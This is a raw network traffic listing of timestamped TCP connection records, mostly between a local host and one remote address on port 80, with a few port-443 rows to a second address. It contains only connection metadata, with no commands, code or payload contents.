Dec 21, 2024 10:15:35.208261967 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.208300114 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.208935022 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.208990097 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.209034920 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.209110022 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.209784031 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.209846020 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.209856033 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.209923029 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.210592031 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.210678101 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.210697889 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.210844994 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.211493015 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.211565971 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.211654902 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.212245941 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.212287903 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.212403059 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.212444067 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.213088989 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.213181973 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.213213921 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.213246107 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.213951111 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.213962078 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.214040041 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.309926033 CET	49829	443	192.168.2.4	94.130.188.57
Dec 21, 2024 10:15:35.309966087 CET	443	49829	94.130.188.57	192.168.2.4
Dec 21, 2024 10:15:35.310265064 CET	49829	443	192.168.2.4	94.130.188.57
Dec 21, 2024 10:15:35.310645103 CET	49829	443	192.168.2.4	94.130.188.57
Dec 21, 2024 10:15:35.310657978 CET	443	49829	94.130.188.57	192.168.2.4
Dec 21, 2024 10:15:35.363338947 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.363352060 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.363428116 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.363765955 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.363776922 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.363843918 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.364501953 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.364578962 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.364602089 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.364856958 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.365262032 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.365365982 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.365565062 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.365603924 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.365627050 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.365644932 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.366440058 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.366497993 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.366626024 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.367177010 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.367242098 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.367264986 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.368138075 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.368194103 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.368213892 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.368256092 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.368838072 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.368889093 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.368983984 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.369211912 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.369769096 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.369863987 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.369919062 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.370496988 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.370659113 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.370820045 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.371364117 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.371375084 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.371479988 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.372153044 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.372164011 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.372225046 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.373011112 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.373054981 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.373073101 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.373114109 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.373809099 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.373873949 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.373898983 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.374075890 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.374627113 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.374744892 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.374774933 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.374830008 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.375505924 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.375731945 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.375808001 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.376312017 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.376322985 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.376377106 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.377074003 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.377397060 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.377476931 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.377892017 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.378051043 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.378077030 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.378191948 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.378747940 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.378808022 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.378819942 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.378942013 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.379553080 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.379640102 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.379699945 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.380369902 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.380409956 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.380601883 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.381182909 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.381313086 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.381319046 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.381392956 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.382004976 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.382220030 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.382241011 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.382810116 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.382867098 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.382915974 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.382992029 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.383693933 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.383811951 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.383888006 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.383970976 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.384438992 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.384578943 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.384612083 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.384644985 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.385319948 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.385570049 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.385634899 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.386147022 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.386272907 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.386372089 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.387068987 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.387079954 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.387140989 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.387140989 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.387794018 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.387854099 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.387878895 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.387940884 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.388598919 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.388650894 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.388675928 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.388761044 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.389425039 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.389528036 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.389622927 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.390367031 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.390377998 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.390595913 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.391490936 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.391542912 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.391571999 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.391634941 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.391902924 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.391978979 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.392004967 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.392072916 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.392713070 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.392779112 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.392838001 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.393536091 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.393623114 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.393634081 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.394165039 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.394378901 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.394459009 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.394601107 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.394655943 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.395252943 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.395307064 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.395318031 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.395375013 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.395999908 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.396147013 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.396214008 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.396812916 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.396908998 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.396969080 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.397201061 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.397723913 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.397774935 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.397809029 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.397834063 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.398487091 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.398634911 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.398636103 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.398693085 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.399293900 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.399497032 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.399624109 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.400150061 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.400335073 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.400399923 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.400993109 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.401094913 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.401154041 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.401778936 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.401884079 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.401941061 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.402771950 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.402868986 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.402918100 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.402918100 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.403423071 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.403578043 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.403676987 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.404237986 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.404531956 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.404588938 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.405194044 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.405229092 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.405265093 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.405287981 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.405916929 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.405968904 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.406028032 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.406090021 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.555181980 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.555309057 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.555377007 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.555509090 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.555561066 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.555677891 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.555727959 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.555788040 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.556449890 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.556519032 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.556715012 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.556773901 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.556834936 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.556947947 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.557526112 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.557600021 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.557642937 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.557674885 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.559149981 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.559204102 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.559258938 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.559266090 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.559266090 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.559328079 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.559345961 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.559418917 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.559988022 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.560039997 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.560102940 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.560209036 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.560935974 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.560988903 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.561090946 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.561582088 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.561687946 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.561708927 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.561765909 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.562397957 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.562495947 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.562540054 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.562541008 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.564897060 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.565052986 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.565212965 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.565331936 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.567399025 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.567433119 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.567467928 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.567473888 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.567504883 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.567508936 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.567538023 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.567544937 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.567581892 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.567593098 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.567593098 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.567643881 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.568197966 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.568346024 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.568384886 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.568456888 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.568991899 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.569050074 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.569133997 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.569209099 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.569955111 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.570103884 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.570173979 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.570770979 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.570807934 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.570847988 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.570914030 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.571559906 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.571650028 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.571732998 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.571831942 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.572391033 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.572487116 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.572567940 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.572729111 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.573326111 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.573411942 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.573489904 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.573551893 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.574011087 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.574088097 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.574182034 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.574275017 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.574862957 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.575020075 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.575046062 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.575131893 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.575707912 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.575742960 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.575798988 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.575798988 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.576473951 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.576539040 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.576616049 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.576766014 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.576806068 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.576838970 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.576874018 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.576889038 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.576889038 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.576908112 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.576913118 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.577052116 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.577219963 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.577275038 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.577342033 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.577418089 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.578098059 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.578198910 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.578206062 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.578283072 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.578986883 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.579022884 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.579134941 CET	49808	80	192.168.2.4	31.41.244.11
